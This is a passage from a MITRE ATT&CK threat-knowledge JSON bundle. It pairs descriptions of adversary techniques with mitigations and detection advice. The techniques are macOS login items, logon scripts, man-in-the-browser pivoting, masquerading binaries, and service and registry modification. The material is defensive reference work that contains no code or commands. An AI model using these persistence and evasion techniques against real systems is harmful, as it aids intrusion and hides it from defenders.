                }
            ],
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            "x_mitre_data_sources": [
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            "x_mitre_contributors": [
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            "x_mitre_platforms": [
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            ],
            "x_mitre_permissions_required": [
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            "spec_version": "2.1",
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Login Item Mitigation",
            "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1162",
                    "external_id": "T1162"
                },
                {
                    "source_name": "Re-Open windows on Mac",
                    "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
                    "url": "https://support.apple.com/en-us/HT204005"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Login Item",
            "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: macOS\n\nPermissions Required: User",
            "kill_chain_phases": [
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                    "phase_name": "persistence"
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1162",
                    "external_id": "T1162"
                },
                {
                    "source_name": "Adding Login Items",
                    "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
                },
                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
                }
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            "x_mitre_permissions_required": [
                "User"
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Logon Scripts Mitigation",
            "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of Valid Accounts.\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1037",
                    "external_id": "T1037"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                }
            ],
            "spec_version": "2.1",
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            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:38.910Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Logon Scripts",
            "description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Write access to system or domain logon scripts",
            "kill_chain_phases": [
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                    "phase_name": "lateral-movement"
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                {
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                    "phase_name": "persistence"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1037",
                    "external_id": "T1037"
                },
                {
                    "source_name": "TechNet Logon Scripts",
                    "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx"
                },
                {
                    "source_name": "creating login hook",
                    "description": "Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017.",
                    "url": "https://support.apple.com/de-at/HT2420"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_data_sources": [
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            "x_mitre_system_requirements": [
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Man in the Browser Mitigation",
            "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1185",
                    "external_id": "T1185"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Man in the Browser",
            "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication (Citation: cobaltstrike manual).\n\nDetection: This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Packet capture, Process Monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Justin Warner, ICEBRG",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1185",
                    "external_id": "T1185"
                },
                {
                    "source_name": "Wikipedia Man in the Browser",
                    "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Man-in-the-browser"
                },
                {
                    "source_name": "Cobalt Strike Browser Pivot",
                    "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.",
                    "url": "https://www.cobaltstrike.com/help-browser-pivoting"
                },
                {
                    "source_name": "cobaltstrike manual",
                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
                    "url": "https://cobaltstrike.com/downloads/csmanual38.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_contributors": [
                "Justin Warner, ICEBRG"
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            "x_mitre_data_sources": [
                "Authentication logs",
                "Packet capture",
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                "API monitoring"
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            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Masquerading Mitigation",
            "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1036",
                    "external_id": "T1036"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:38.511Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Masquerading",
            "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.  Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program.  Alternatively, the filename given may be a close approximation of legitimate programs.  This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\n\n===Windows===\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the <code>C:\\Windows\\System32</code> directory.  Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n===Linux===\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before.  (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux  would be the <code>/bin</code> directory.  Examples of trusted binary names that can be given to malicious binares include \"rsyncd\" and \"dbus-inotifier\".   (Citation: Fysbis Palo Alto Analysis)  (Citation: Fysbis Dr Web Analysis)\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nDefense Bypassed: Whitelisting by file name or path\n\nContributors: ENDGAME, Bartosz Jerzman",
            "kill_chain_phases": [
                {
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                    "phase_name": "defense-evasion"
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            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1036",
                    "external_id": "T1036"
                },
                {
                    "source_name": "Endgame Masquerade Ball",
                    "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                    "url": "https://www.endgame.com/blog/how-hunt-masquerade-ball"
                },
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"
                },
                {
                    "source_name": "Remaiten",
                    "description": "Michal Malik AND Marc-Etienne M.L\u00e9veill\u00e9. (2016, March 30). Meet Remaiten \u2013 a Linux bot on steroids targeting routers and potentially other IoT devices. Retrieved September 7, 2017.",
                    "url": "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/"
                },
                {
                    "source_name": "Fysbis Palo Alto Analysis",
                    "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
                },
                {
                    "source_name": "Fysbis Dr Web Analysis",
                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
                    "url": "https://vms.drweb.com/virus/?i=4276269"
                }
            ],
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                "Process monitoring",
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            ],
            "x_mitre_defense_bypassed": [
                "Whitelisting by file name or path"
            ],
            "x_mitre_platforms": [
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                "Windows"
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            "spec_version": "2.1",
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            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Modify Existing Service Mitigation",
            "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1031",
                    "external_id": "T1031"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:34.928Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Modify Existing Service",
            "description": "Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Travis Smith, Tripwire",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1031",
                    "external_id": "T1031"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "Windows Registry",
                "File monitoring",
                "Process command-line parameters",
                "Process monitoring"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Modify Registry Mitigation",
            "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through Service Registry Permissions Weakness. Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1112",
                    "external_id": "T1112"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:23.587Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Modify Registry",
            "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Bartosz Jerzman, Travis Smith, Tripwire",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1112",
                    "external_id": "T1112"
                },
                {
                    "source_name": "Microsoft Reg",
                    "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx"
                },
                {
                    "source_name": "Microsoft Remote",
                    "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "Bartosz Jerzman",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "Windows Registry",
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Mshta Mitigation",
            "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1170",
                    "external_id": "T1170"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
